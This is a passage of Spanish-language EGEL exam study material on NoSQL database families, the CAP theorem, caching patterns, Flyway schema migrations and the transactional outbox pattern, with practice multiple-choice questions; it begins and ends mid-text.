**Escalabilidad Horizontal nativa:** Clústeres de decenas o cientos de servidores comerciales ordinarios (*Commodity Hardware*). |\n| **Manejo del Esquema** | **Esquema rígido (*Schema-on-Write*):** La estructura de tablas y tipos debe declararse antes de insertar (`DDL`). | **Esquema dinámico (*Schema-on-Read*):** Los datos se almacenan en formatos semiestructurados (JSON); cada registro puede tener atributos distintos. |\n\n---\n\n## 3. Las Cuatro Grandes Familias de Bases de Datos NoSQL\n\nNo existe una única \"base de datos NoSQL\"; existen cuatro modelos de datos especializados para problemas cuantitativamente diferentes:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        FAMILIAS DE BASES DE DATOS NoSQL                │\n│                                                                        │\n│   1. DOCUMENTALES (Document Stores):                                   │\n│      Estructura: Documentos jerárquicos JSON / BSON / XML.             │\n│      Ejemplos: MongoDB, Couchbase.                                     │\n│                                                                        │\n│   2. CLAVE-VALOR (Key-Value Stores):                                   │\n│      Estructura: Clave única hash asociada a un valor opaco de bytes.  │\n│      Ejemplos: Redis, Memcached, DynamoDB.                             │\n│                                                                        │\n│   3. COLUMNAS ANCHAS (Wide-Column / Column-Family):                    │\n│      Estructura: Tablas multidimensionales dispersas de filas dinámicas│\n│      Ejemplos: Apache Cassandra, ScyllaDB, Google Cloud Bigtable.      │\n│                                                                        │\n│   4. GRAFOS (Graph Databases):                                         │\n│      Estructura: Nodos (entidades), Relaciones (aristas) y Propiedades.│\n│      Ejemplos: Neo4j, Amazon Neptune.                                  │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Matriz Comparativa Exhaustiva de Familias NoSQL\n\n| Familia NoSQL | Modelo de Almacenamiento | Casos de Uso Ideales | Complejidad de Consulta | Fortaleza Técnica |\n| :--- | :--- | :--- | :---: | :--- |\n| **Documental** | Documentos semiestructurados (JSON/BSON) con identificador `_id` único e índices secundarios sobre campos anidados. | - Catálogos de productos con atributos variables (ropa con tallas vs electrónica con voltajes).\u003cbr\u003e- Sistemas de gestión de contenido (CMS).\u003cbr\u003e- Perfiles y configuraciones de usuario. | Media / Alta (soporta filtros por campos anidados y agregaciones). | Alta flexibilidad de modelado; elimina el desajuste de impedancia con objetos JSON. |\n| **Clave-Valor** | Diccionario hash en memoria o disco. La base de datos ignora el contenido del valor; solo busca por la clave exacta (`GET / SET`). | - Gestión de sesiones web de usuarios.\u003cbr\u003e- Carritos de compra temporales.\u003cbr\u003e- Tablas de clasificación en videojuegos en vivo.\u003cbr\u003e- Capa de caché de alta velocidad. | **Baja:** Búsquedas simples por clave exacta en tiempo $O(1)$. | **Latencia en submilisegundos y throughput masivo** (cientos de miles de ops/segundo). |\n| **Columnas Anchas** | Matriz dispersa de dos niveles: Clave de partición (*Partition Key*) + Clave de agrupamiento (*Clustering Key*) con familias de columnas dinámicas. | - Series temporales de telemetría IoT (millones de lecturas por segundo).\u003cbr\u003e- Registro masivo de logs y métricas de servidores.\u003cbr\u003e- Historial de mensajería masiva (chats). | Baja / Media (consultas optimizadas por clave de partición; no soporta JOINs). | **Escritura horizontal casi infinita sin punto único de falla (arquitectura sin maestro / Peer-to-Peer).** |\n| **Grafos** | Nodos interconectados por relaciones directas tipadas con punteros físicos en memoria (*Index-Free Adjacency*). | - Redes sociales (amigos de amigos, seguidores).\u003cbr\u003e- Motores de recomendación en tiempo real.\u003cbr\u003e- Detección de fraudes financieros en cadenas de transferencias triangulares.\u003cbr\u003e- Redes de transporte y rutas logísticas. | **Muy alta:** Recorrido recursivo de relaciones profundas en tiempo constante respecto al tamaño del grafo total. | Resuelve consultas de conectividad de 6 saltos de profundidad en milisegundos (donde SQL colapsaría con 6 JOINs masivos). |\n\n---\n\n## 4. Escenarios de Decisión Profesional\n\n### Escenario A: Detección de Fraude en Redes de Transferencias Bancarias Triangulares\n- **Problema:** Una banda criminal lava dinero realizando micro-transferencias a través de una cadena de 8 cuentas puente (\"mulas\") hasta llegar al beneficiario final. Una consulta SQL relacional con 8 `JOINs` recursivos sobre una tabla de 500 millones de transferencias tarda más de 25 minutos y satura el RDBMS.\n- **Decisión de Tecnología:** **Base de Datos de Grafos (Neo4j)**.\n- **Fundamentación:** Las bases de datos de grafos implementan adyacencia libre de índices (*Index-Free Adjacency*): cada nodo de cuenta contiene punteros directos de memoria hacia las relaciones salientes. Explorar una ruta de 8 saltos toma **15 milisegundos** sin importar que la base de datos contenga billones de transacciones.\n\n### Escenario B: Ingesta de Telemetría para 500,000 Medidores de Electricidad Inteligentes\n- **Problema:** Los medidores transmiten el consumo eléctrico cada 5 segundos. El sistema debe absorber 100,000 escrituras por segundo ininterrumpidamente 24/7 sin perder datos si un servidor de la nube se quema.\n- **Decisión de Tecnología:** **Base de Datos de Columnas Anchas (Apache Cassandra / ScyllaDB)**.\n- **Fundamentación:** Cassandra es un sistema **AP** con arquitectura peer-to-peer sin maestro (*Masterless*). Cada nodo es idéntico; las escrituras se secuencian en un log en disco (*CommitLog*) y en memoria (*MemTable*) logrando una velocidad de escritura masiva sin bloqueos. Si 3 servidores fallan físicamente, el clúster sigue absorbiendo lecturas y escrituras sin interrupción.\n\n---\n\n## 5. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Afirmar que NoSQL significa \"sin transacciones\".**\n\u003e Aunque muchas bases NoSQL priorizan consistencia eventual, sistemas modernos como MongoDB (desde la versión 4.0) y bases distribuidas NewSQL (Google Cloud Spanner, CockroachDB) soportan transacciones ACID multi-documento completas. NoSQL denota flexibilidad y escalabilidad horizontal, no ausencia de transacciones.\n\n\u003e **Trampa 2: Clasificar a Cassandra como una base de datos Documental o Relacional.**\n\u003e Cassandra pertenece estrictamente a la familia de **Columnas Anchas (Wide-Column Store)**. Aunque su lenguaje de consulta (CQL) se asemeja sintácticamente a SQL, carece totalmente de operaciones `JOIN`, llaves foráneas o integridad referencial.\n\n\u003e **Trampa 3: Creer que se puede tener Consistencia, Disponibilidad y Tolerancia a Particiones simultáneamente.**\n\u003e El Teorema CAP es una demostración matemática rigurosa: **jamás se pueden tener las tres en un sistema distribuido**. Si hay partición de red ($P$), obligatoriamente se debe sacrificar la consistencia inmediata ($C$) o la disponibilidad absoluta ($A$).\n\n---\n\n## 6. Autoevaluación Formativa\n\n### Pregunta 1\nUna plataforma de comercio electrónico multinacional experimenta una desconexión total de red transitoria entre su centro de datos en Norteamérica y su réplica en Europa. Durante esta partición de red, la política arquitectónica del sistema dicta que los usuarios en Europa deben poder continuar agregando productos a sus carritos de compras y navegando por el sitio sin recibir mensajes de error en pantalla, aceptando que los datos de stock mostrados puedan tener un ligero retraso de actualización hasta que el enlace de red sea restaurado y sincronizado. De acuerdo con el Teorema CAP, ¿cómo se clasifica formalmente este sistema distribuido?\n- A) Sistema CP (Consistencia y Tolerancia a Particiones).\n- B) Sistema AP (Disponibilidad y Tolerancia a Particiones).\n- C) Sistema CA (Consistencia y Disponibilidad en un solo nodo).\n- D) Sistema de Procesamiento de Lotes no distribuido.\n\n### Pregunta 2\nUna unidad de inteligencia policial requiere analizar patrones delictivos para identificar grupos de criminales que comparten teléfonos, domicilios, cuentas bancarias y vehículos. El sistema debe ejecutar consultas complejas que recorran hasta seis niveles de relaciones indirectas (\"personas que estuvieron en el mismo auto que el socio de un sospechoso\"). ¿Qué familia de bases de datos NoSQL está diseñada arquitectónicamente para resolver este problema con la mayor eficiencia computacional?\n- A) Base de datos Clave-Valor en memoria (como Memcached).\n- B) Base de datos Relacional sin índices.\n- C) Base de datos de Grafos (como Neo4j).\n- D) Base de datos de Columnas Anchas (como HBase).\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 3.4.7 de esta subárea).*\n","title":"3.4.3 Bases de datos NoSQL, el Teorema CAP y el modelo BASE"},{"children":[],"contentMd":"# Estrategias de Caching en Memoria y Migraciones Versionadas de Esquemas\n\nEl almacenamiento en memoria caché y la evolución ordenada del esquema de base de datos son dos componentes esenciales de la ingeniería de persistencia de alta disponibilidad. Una estrategia de caché mal diseñada provoca inconsistencias de datos y avalanchas de tráfico (*Cache Stampede*), mientras que la alteración manual del esquema de base de datos destruye la reproducibilidad del software. En el examen EGEL de Ingeniería de Software, los reactivos evalúan los patrones de acceso a caché (Cache-Aside, Write-Through, Write-Back), las políticas de desalojo (LRU, LFU, TTL) y el gobierno de migraciones versionadas con herramientas como Flyway y Liquibase.\n\n---\n\n## 1. Patrones de Caching de Datos en Memoria\n\nUna memoria caché (como **Redis** o **Memcached**) reside en la memoria RAM, ofreciendo tiempos de lectura y escritura en microsegundos ($\u003c 1\\text{ ms}$) comparado con los milisegundos de una base de datos relacional en disco.\n\nExisten cuatro patrones arquitectónicos formales para integrar la caché con la aplicación y la base de datos:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        PATRONES DE ACCESO A CACHÉ                      │\n│                                                                        │\n│   A. CACHE-ASIDE (Lazy Loading / A un lado):                           │\n│      Aplicación ──1. ¿Está en caché?──▶ [ Caché (Redis) ]              │\n│      Aplicación ◀─2. Cache Hit! (o Miss)─┘                             │\n│      (Si hay Miss: Aplicación lee de BD ──▶ guarda en Caché)           │\n│                                                                        │\n│   B. WRITE-THROUGH (Escritura Síncrona a Través):                      │\n│      Aplicación ──1. Escribe dato──▶ [ Caché ]                         │\n│                                          │                             │\n│                                      2. Escribe síncronamente en BD    │\n│                                          ▼                             │\n│                                 [ Base de Datos ]                      │\n│                                                                        │\n│   C. WRITE-BEHIND / WRITE-BACK (Escritura Asíncrona en Lotes):         │\n│      Aplicación ──1. Escribe dato──▶ [ Caché ] ──▶ Responde éxito      │\n│                                          │ (Asíncrono en lotes)        │\n│                                          ▼                             │\n│                                 [ Base de Datos ]                      │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Matriz Comparativa de Patrones de Caché\n\n| Patrón de Caché | Flujo Operativo | Garantía de Consistencia | Rendimiento de Escritura | Riesgo Crítico |\n| :--- | :--- | :--- | :---: | :--- |\n| **Cache-Aside** | La aplicación es responsable de coordinar la lectura y escritura entre la caché y la base de datos. | **Eventual / Variable:** Si alguien actualiza la base de datos directamente, la caché puede entregar datos obsoletos hasta que expire su TTL. | Rápido (solo escribe en BD y opcionalmente invalida la clave en caché). | *Cache Miss Penalization:* La primera consulta siempre sufre una penalización de latencia doble (Caché + BD). |\n| **Read-Through** | La aplicación solo interactúa con la biblioteca de caché. Si no existe el dato, la propia caché consulta la base de datos de forma transparente. | Igual a Cache-Aside, pero encapsula la lógica de lectura fuera del código de negocio. | N/A (solo para lecturas). | Requiere que el framework de caché soporte adaptadores hacia la fuente de datos. |\n| **Write-Through** | La aplicación escribe el dato en la caché, y la caché escribe **inmediatamente y de forma síncrona** en la base de datos antes de confirmar al cliente. | **Fuerte:** Los datos en la caché y en la base de datos están permanentemente sincronizados al instante. | **Más lento:** Cada escritura paga la latencia de actualizar la caché y esperar la confirmación de la base de datos. | Mayor sobrecarga en inserciones masivas de datos que quizás nunca se vuelvan a leer. |\n| **Write-Behind (Write-Back)** | La aplicación escribe en la caché y recibe confirmación inmediata. La caché almacena las mutaciones en una cola y las persiste en la base de datos de forma **asíncrona en lotes**. | **Débil / Eventual:** Los datos residen temporalmente solo en memoria RAM. | **Ultrarrápido:** Absorbe picos masivos de escritura sin esperar el I/O del disco del RDBMS. | **Pérdida definitiva de datos:** Si el servidor de caché sufre un corte eléctrico antes de volcar la cola al disco, los datos no persistidos se pierden para siempre. |\n\n---\n\n## 2. Políticas de Desalojo de Memoria e Invalidación\n\nDado que la memoria RAM es un recurso finito y costoso, cuando la caché alcanza su límite de capacidad máxima configurada (ej. 8 GB), el motor debe aplicar una **política de desalojo (*Eviction Policy*)** para decidir qué elementos eliminar:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        POLÍTICAS DE DESALOJO                           │\n│                                                                        │\n│   • LRU (Least Recently Used): Desaloja el elemento que NO se ha       │\n│     consultado desde hace más tiempo (el estándar universal).          │\n│                                                                        │\n│   • LFU (Least Frequently Used): Desaloja el elemento con el MENOR     │\n│     contador acumulado de accesos o solicitudes.                       │\n│                                                                        │\n│   • FIFO (First-In, First-Out): Desaloja el elemento más antiguo en    │\n│     haber entrado a la caché, sin importar cuántas veces se consulte.  │\n│                                                                        │\n│   • TTL (Time-To-Live): Cada elemento tiene un tiempo de expiración    │\n│     fijo tras el cual es purgado automáticamente (ej. 300 segundos).   │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## 3. Patologías de Caché y Soluciones de Ingeniería\n\n### A. La Avalancha de Caché (Cache Stampede / Thundering Herd)\n- **Problema:** Una clave altamente popular (*Hot Key*, ej. el catálogo principal del Black Friday) tiene configurado un TTL de 10 minutos. En el milisegundo exacto en que expira su TTL, llegan 15,000 peticiones concurrentes. Todas experimentan un *Cache Miss* simultáneo y todas intentan consultar la base de datos a la vez para regenerar la caché, **colapsando la base de datos en segundos**.\n- **Solución Técnica:**\n  1. **Cerrojo Distribuido (Mutex Lock):** La primera petición adquiere un cerrojo exclusivo en Redis para consultar la base de datos; las demás peticiones esperan o devuelven el dato ligeramente desactualizado mientras se regenera.\n  2. **Expiración Probabilística (XFetch):** La aplicación recalcula el dato en segundo plano antes de que el TTL expire, basándose en la probabilidad de acceso y el tiempo que tarda la consulta.\n\n### B. Penetración de Caché (Cache Penetration)\n- **Problema:** Un atacante realiza miles de consultas por segundo buscando registros con IDs que **no existen en la base de datos** (`/producto/-9999`). Como no existen, la caché nunca los guarda (*Cache Miss permanente*), obligando a la base de datos a buscar en disco en cada petición.\n- **Solución Técnica:**\n  1. **Filtro de Bloom (*Bloom Filter*):** Estructura probabilística en memoria que determina con certeza si un elemento *definitivamente no existe* antes de tocar la base de datos.\n  2. **Cachear Valores Nulos:** Guardar en la caché el valor `null` con un TTL corto (ej. 60 segundos) para que las búsquedas repetidas del mismo ID inexistente se resuelvan en memoria.\n\n---\n\n## 4. Migraciones de Esquema de Datos Versionadas (Flyway y Liquibase)\n\nUno de los errores más graves en la gestión de bases de datos es alterar tablas en producción mediante scripts manuales no versionados ejecutados por administradores (*\"ClickOps\"* en herramientas gráficas).\n\nLas herramientas de **migración de esquemas como código (*Schema as Code*)** garantizan que la evolución de la base de datos sea automatizada, auditable y determinista:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        MIGRACIONES VERSIONADAS CON FLYWAY              │\n│                                                                        │\n│   Directorio en Git: src/main/resources/db/migration/                  │\n│   ├── V1__crear_tabla_usuarios.sql                                     │\n│   ├── V2__agregar_columna_curp.sql                                     │\n│   └── V3__crear_indice_rfc.sql                                         │\n│                                                                        │\n│   Al arrancar la aplicación o en el pipeline de CI/CD:                 │\n│   1. Flyway consulta la tabla de control: 'flyway_schema_history'.     │\n│   2. Identifica los scripts pendientes de aplicar en orden numérico.   │\n│   3. Ejecuta cada script dentro de una transacción DDL atómica.        │\n│   4. Calcula y registra el hash criptográfico (Checksum) del script.   │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Reglas de Oro de las Migraciones Versionadas\n1. **Los scripts de migración ya aplicados son estrictamente INMUTABLES:**\n   - Si un script `V1__crear_tabla.sql` ya se ejecutó en producción, **jamás debe modificarse su contenido**. Si alguien altera una coma en Git, Flyway detectará que el Checksum cambió y **abortará el arranque de la aplicación**, previniendo discrepancias de esquema.\n   - Cualquier cambio posterior debe introducirse en un **nuevo script secuencial** (ej. `V4__modificar_longitud_curp.sql`).\n2. **Migraciones Idempotentes y Compatibles hacia Atrás:**\n   - Todo script DDL debe poder ejecutarse de forma segura sin romper versiones previas del código que aún estén activas en producción durante un despliegue progresivo (*Rolling Update*).\n\n---\n\n## 5. Escenarios de Decisión Profesional\n\n### Escenario A: Sistema de Contadores de Visitas para Portal de Noticias\n- **Problema:** Un medio de noticias recibe 100,000 lecturas por minuto en artículos de última hora. Cada visita debe incrementar el contador de lecturas del artículo. Si se ejecuta un `UPDATE articulo SET vistas = vistas + 1 WHERE id = ?;` en la base de datos relacional por cada visita, los bloqueos de fila destruyen la concurrencia.\n- **Decisión de Persistencia y Caché:**\n  - Implementar el patrón **Write-Behind (Write-Back) con Redis**:\n    - Cada visita ejecuta la instrucción atómica ultrarrápida `INCR articulo:10:vistas` en Redis en 0.2 milisegundos.\n    - Un proceso en segundo plano (*worker*) lee periódicamente los contadores en lotes cada 60 segundos y ejecuta una única sentencia consolidada en la base de datos relacional.\n  - La base de datos reduce su carga de escrituras en un 99.9%.\n\n### Escenario B: Evolución de Esquema en un Pipeline Automatizado\n- **Problema:** En el paso de pruebas de integración en el pipeline de CI/CD, la suite falla porque un desarrollador agregó una columna en su base de datos local pero olvidó compartir el script SQL con sus compañeros.\n- **Decisión:** Integrar **Flyway** en el ciclo de vida de Maven/Gradle. Ninguna prueba se ejecuta sobre bases de datos configuradas manualmente; el pipeline levanta un contenedor Docker efímero con PostgreSQL y ejecuta `mvn flyway:migrate` automáticamente. Si el script no está en Git, el build falla de inmediato en el entorno local del programador.\n\n---\n\n## 6. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Confundir Write-Through con Write-Behind.**\n\u003e - **Write-Through:** Es **síncrono**: escribe en caché y en base de datos **al mismo tiempo** antes de responder al cliente (alta consistencia, escritura lenta).\n\u003e - **Write-Behind (Write-Back):** Es **asíncrono**: escribe solo en caché, responde de inmediato al cliente, y vuelca a la base de datos en segundo plano (máxima velocidad, riesgo de pérdida ante caídas).\n\n\u003e **Trampa 2: Modificar un script de migración ya versionado y aplicado.**\n\u003e Modificar el archivo `V1__init.sql` después de que fue aplicado en staging o producción rompe el Checksum de Flyway/Liquibase y provoca que el pipeline aborte. Los cambios en bases de datos siempre avanzan hacia adelante creando un nuevo script con la siguiente versión secuencial.\n\n\u003e **Trampa 3: Usar Cache-Aside sin política de TTL ni invalidación.**\n\u003e Almacenar datos en caché sin definir un tiempo de vida (*TTL*) ni invalidar la clave cuando el dato se actualiza en el backend garantiza que los usuarios vean información desactualizada de forma indefinida.\n\n---\n\n## 7. Autoevaluación Formativa\n\n### Pregunta 1\nUna aplicación de comercio electrónico experimenta caídas críticas del servidor de base de datos durante eventos de ventas nocturnas. El diagnóstico técnico revela que cada vez que expira el tiempo de vida (TTL) de la clave de caché del catálogo principal de ofertas, miles de usuarios concurrentes experimentan un *Cache Miss* simultáneo y lanzan consultas idénticas y pesadas a la base de datos relacional en el mismo milisegundo. ¿Qué patología de caché se está manifestando y cuál es la solución técnica recomendada?\n- A) Ocurrió una Fuga de Memoria; se soluciona migrando de Redis a archivos planos de texto.\n- B) Ocurrió una Avalancha de Caché (*Cache Stampede / Thundering Herd*); se soluciona implementando un cerrojo distribuido (Mutex) para que solo una petición regenere la caché mientras las demás esperan, o mediante expiración probabilística en segundo plano.\n- C) Ocurrió una Condición de Carrera en el Stack; se resuelve desactivando la caché en memoria.\n- D) Ocurrió una violación de la 3FN; se resuelve normalizando las tablas de Redis.\n\n### Pregunta 2\nUn equipo de ingeniería adopta Flyway para gestionar el esquema de una base de datos PostgreSQL. Tras desplegar exitosamente la versión `V3__crear_tabla_pedidos.sql` en el entorno de producción, un desarrollador detecta que olvidó agregar la columna `fecha_entrega` y decide editar directamente el archivo de texto `V3__crear_tabla_pedidos.sql` en su repositorio Git agregando la columna. ¿Qué ocurrirá la próxima vez que el pipeline de CI/CD intente ejecutar la migración en producción?\n- A) Flyway actualizará la tabla silenciosamente sin problemas.\n- B) Flyway detectará que la suma de comprobación criptográfica (*Checksum*) del archivo `V3` en Git no coincide con el registrado previamente en la tabla `flyway_schema_history`, abortando la migración con un error para prevenir inconsistencias de esquema.\n- C) La base de datos eliminará automáticamente todas las tablas existentes.\n- D) Flyway convertirá la base de datos relacional en una base de datos NoSQL de documentos.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 3.4.7 de esta subárea).*\n","title":"3.4.4 Estrategias de caching en memoria y migraciones versionadas de esquemas"},{"children":[],"contentMd":"# Escenarios Profesionales de Decisión en Gestión de Datos y Persistencia\n\nEn las arquitecturas de software modernas de nivel empresarial, el concepto de \"una sola base de datos para todo\" ha sido superado por el paradigma de **Persistencia Políglota (*Polyglot Persistence*)**: seleccionar el motor de base de datos y la estrategia de almacenamiento idónea para cada requerimiento funcional específico dentro del ecosistema del sistema.\n\nEn el examen EGEL de CENEVAL, los reactivos de persistencia avanzada te enfrentan a escenarios donde debes articular bases de datos relacionales, almacenes NoSQL, capas de caché en memoria y patrones de consistencia distribuida.\n\n---\n\n## 1. El Paradigma de Persistencia Políglota\n\n```\n┌──────────────────────────────────────────────────────────────────────────────────┐\n│                   PERSISTENCIA POLÍGLOTA EN UNA PLATAFORMA MODERNA               │\n│                                                                                  │\n│   1. TRANSACCIONES FINANCIERAS Y FACTURACIÓN ──────▶ RDBMS Relacional            │\n│      • Propiedades ACID estrictas, normalización 3FN (PostgreSQL / SQL Server)   │\n│                                                                                  │\n│   2. CATÁLOGO DE PRODUCTOS Y METADATOS ───────────▶ NoSQL Documental             │\n│      • Esquema flexible, anidación JSON jerárquica (MongoDB / DocumentDB)        │\n│                                                                                  │\n│   3. SESIONES, CARRITOS Y CONTADORES EN TIEMPO REAL▶ NoSQL Clave-Valor           │\n│      • Latencia en microsegundos en memoria RAM (Redis / KeyDB)                  │\n│                                                                                  │\n│   4. BÚSQUEDA DE TEXTO COMPLETO Y AUTOCOMPLETADO ──▶ Motor de Búsqueda           │\n│      • Índices invertidos, tolerancia tipográfica, ranking (Elasticsearch)       │\n│                                                                                  │\n│   5. TELEMETRÍA IOT Y SERIES TEMPORALES ──────────▶ NoSQL Columnas Anchas        │\n│      • Escrituras masivas continuas, partición temporal (Cassandra / Timescale)  │\n└──────────────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## 2. Escenario 1: Plataforma Global de Streaming Multimedia (Video-on-Demand)\n\n### Contexto y Restricciones\n- **Dominio:** Servicio de transmisión de video con 15 millones de suscriptores activos.\n- **Doble requerimiento funcional crítico:**\n  1. *Submódulo de Cobros y Suscripciones:* Debe procesar cargos recurrentes mensuales de tarjetas de crédito con auditoría estricta, facturación fiscal y cero tolerancia a inconsistencias contables o pérdidas de dinero.\n  2. *Submódulo de Reproducción y Progreso de Video:* Cada segundo, millones de televisores y smartphones envían una señal indicando el segundo exacto de reproducción de la película (`cliente_123:pelicula_456 -\u003e 01:24:15`), para que el usuario pueda pausar en la sala y continuar exactamente en el mismo instante en su teléfono móvil.\n\n### Análisis de Alternativas y Persistencia Políglota\n- **Para Cobros y Suscripciones:**\n  - *NoSQL con consistencia eventual:* Inviable; generaría dobles cobros o membresías activadas sin confirmación bancaria.\n  - *Decisión:* **RDBMS Relacional (PostgreSQL / MySQL InnoDB)** con transacciones ACID, claves foráneas estrictas y nivel de aislamiento `Read Committed` o `Serializable`.\n- **Para Progreso de Reproducción y Telemetría en Vivo:**\n  - *RDBMS Relacional:* Inviable; millones de sentencias `UPDATE` por segundo sobre una tabla de estado saturarían el motor de base de datos con contención de cerrojos de fila.\n  - *Decisión:* **NoSQL Clave-Valor en memoria (Redis)** utilizando el patrón *Write-Behind*. La posición de video se guarda atómicamente en memoria RAM en milisegundos (`SET usuario:progreso:pelicula 5055 EX 86400`). Un worker asíncrono persiste periódicamente el avance en la base de datos principal solo cuando el usuario detiene la reproducción.\n\n---\n\n## 3. Escenario 2: Transición de Monolito a Microservicios y el Patrón Outbox Transaccional\n\n### Contexto y Restricciones\n- **Dominio:** Sistema logístico de despachos que migra a una arquitectura de microservicios con bases de datos desacopladas (*Database per Service*).\n- **Problema de Doble Escritura (Dual-Write Problem):**\n  - Cuando se crea una orden de compra, el *Servicio de Órdenes* debe:\n    1. Guardar la orden en su base de datos local PostgreSQL.\n    2. Publicar un evento `OrdenCreada` en un broker de mensajería (Apache Kafka) para que el *Servicio de Inventario* reserve el stock.\n  - Si la base de datos confirma la orden pero la red falla al contactar a Kafka, la orden queda registrada pero el inventario nunca se entera (inconsistencia grave).\n  - Si se invierte el orden (enviar a Kafka primero y luego persistir en BD), si la base de datos falla por violación de integridad, el evento ya viajó a Kafka y el stock se descontará por una orden que no existe.\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                   EL PATRÓN TRANSACCIONAL OUTBOX                       │\n│                                                                        │\n│   Servicio de Órdenes                                                  │\n│   ┌────────────────────────────────────────────────────────────────┐   │\n│   │ 1. Transacción Local ACID Única:                               │   │\n│   │    • INSERT INTO orden (id, total) VALUES (101, 500);          │   │\n│   │    • INSERT INTO outbox_mensajes (id, evento)                  │   │\n│   │      VALUES (101, '{\"tipo\": \"OrdenCreada\", \"monto\": 500}');    │   │\n│   │    COMMIT; ──▶ ¡Garantía de Atomicidad Local Absoluta!         │   │\n│   └────────────────────────────────┬───────────────────────────────┘   │\n│                                    │                                   │\n│                                    ▼                                   │\n│   Proceso Lector Outbox (Debezium / CDC / Polling Relay):              │\n│   Lee de forma segura los eventos de la tabla 'outbox_mensajes' y los  │\n│   publica garantizadamente en Apache Kafka.                            │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n- **Decisión Técnica:** **Patrón Outbox Transaccional (*Transactional Outbox Pattern*)**. Elimina la necesidad del obsoleto y pesado protocolo de confirmación en dos fases (2PC / XA Distributed Transactions), garantizando consistencia eventual confiable entre la base de datos y los eventos de mensajería.\n\n---\n\n## 4. Escenario 3: Diagnóstico y Resolución de Cuello de Botella en E-Commerce\n\n### Contexto y Restricciones\n- **Problema:** Durante una campaña de descuentos masivos, el endpoint de consulta del carrito de compras experimenta una degradación severa: la latencia pasa de 45 ms a **8,500 ms**, provocando que miles de clientes abandonen la compra.\n- **Diagnóstico mediante APM y Monitoreo:**\n  1. *Causa 1 (Problema N+1):* El ORM ejecuta 1 consulta para el carrito y 45 consultas individuales para cargar los detalles del producto de cada ítem añadido.\n  2. *Causa 2 (Full Table Scan en Precios):* La tabla de precios históricos (12 millones de filas) no tiene índice compuesto para el rango de fechas activo, obligando al optimizador a realizar un `Seq Scan` en cada cálculo de descuento.\n\n### Plan de Remediación Integral\n1. **En el Código (ORM):** Sustituir la carga perezosa de ítems por una consulta explícita con **`JOIN FETCH c.items i JOIN FETCH i.producto`**, consolidando las 46 consultas en **1 sola sentencia SQL optimizada**.\n2. **En la Base de Datos:** Crear un **Índice Compuesto Cubriente**:\n   `CREATE INDEX idx_precios_promo ON precio_historico (producto_id, fecha_inicio, fecha_fin) INCLUDE (precio_descuento);`\n   transformando el escaneo secuencial en un **Index-Only Scan** en microsegundos.\n3. **En la Infraestructura:** Implementar una capa de caché intermedia **Cache-Aside con Redis** con un TTL de 5 minutos para los precios y promociones del catálogo.\n- **Resultado:** La latencia del endpoint desciende de 8,500 ms a **12 milisegundos**, recuperando la capacidad operativa durante el evento comercial.\n\n---\n\n## 5. Matriz de Síntesis de Decisiones de Persistencia en el EGEL\n\n| Necesidad del Sistema | Tecnología / Patrón Recomendado | Justificación de Ingeniería |\n| :--- | :--- | :--- |\n| **Consistencia contable estricta** | RDBMS Relacional (ACID) | Claves foráneas, integridad referencial y transacciones atómicas inviolables. |\n| **Lecturas y escrituras en microsegundos** | NoSQL Clave-Valor en memoria (Redis) | Estructura en RAM con búsqueda hash $O(1)$ sin I/O de disco continuo. |\n| **Relaciones multidireccionales profundas** | NoSQL de Grafos (Neo4j) | Adyacencia libre de índices para recorrer redes y grafos sin operaciones `JOIN`. |\n| **Escritura masiva de series temporales** | NoSQL de Columnas Anchas (Cassandra) | Arquitectura peer-to-peer sin maestro, escrituras secuenciales y tolerancia a caídas AP. |\n| **Consistencia entre BD local y Mensajería** | Patrón Outbox Transaccional | Persiste el evento en la misma transacción ACID de la BD local antes de emitir al broker. |\n\n---\n\n## 6. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Seleccionar NoSQL Documental para sistemas contables o bancarios.**\n\u003e Salvo que se especifique un motor NewSQL moderno, elegir una base de datos NoSQL de consistencia eventual para el balance de cuentas corrientes de un banco es un grave error de diseño. Las finanzas tradicionales exigen propiedades ACID estrictas y modelos relacionales normalizados.\n\n\u003e **Trampa 2: Creer que la solución para toda consulta lenta es \"comprar más memoria RAM\".**\n\u003e Aumentar el hardware sin corregir el problema de fondo (como un problema N+1 o la ausencia de índices que causa Table Scans) solo posterga la falla unos días y encarece exponencialmente la factura de la nube. La optimización siempre inicia en el código y en el plan de ejecución de la base de datos.\n\n\u003e **Trampa 3: Usar transacciones distribuidas 2PC (Two-Phase Commit) en microservicios.**\n\u003e El protocolo 2PC bloquea los recursos de todos los microservicios involucrados hasta que todos confirmen, creando un acoplamiento temporal extremo que destruye la disponibilidad y el rendimiento en la nube. La buena práctica moderna es usar **Consistencia Eventual mediante el Patrón Saga u Outbox**.\n\n---\n\n## 7. Autoevaluación Formativa\n\n### Pregunta 1\nUna institución bancaria requiere diseñar una arquitectura de microservicios para la emisión de tarjetas de crédito. Al aprobarse una solicitud, el *Servicio de Tarjetas* debe persistir la nueva tarjeta en su base de datos relacional local y garantizar de forma 100% confiable que se emita un evento hacia el broker de mensajería para que el *Servicio de Notificaciones* envíe el correo de bienvenida al cliente. Se debe evitar a toda costa el riesgo de que la tarjeta se guarde pero el evento no se envíe ante un corte de red fortuito, sin utilizar transacciones distribuidas pesadas de dos fases (2PC). ¿Qué patrón de persistencia y diseño resuelve formalmente esta problemática?\n- A) Patrón Singleton sobre la conexión a la base de datos.\n- B) Patrón Outbox Transaccional (*Transactional Outbox*), registrando el evento en una tabla auxiliar de la misma base de datos dentro de la misma transacción ACID local de la tarjeta, para ser leído y publicado al broker por un proceso desacoplado.\n- C) Desactivar la persistencia de datos y enviar únicamente mensajes efímeros UDP.\n- D) Bloqueo pesimista con exclusión mutua sobre todo el clúster de microservicios.\n\n### Pregunta 2\nUna plataforma de redes sociales requiere implementar la 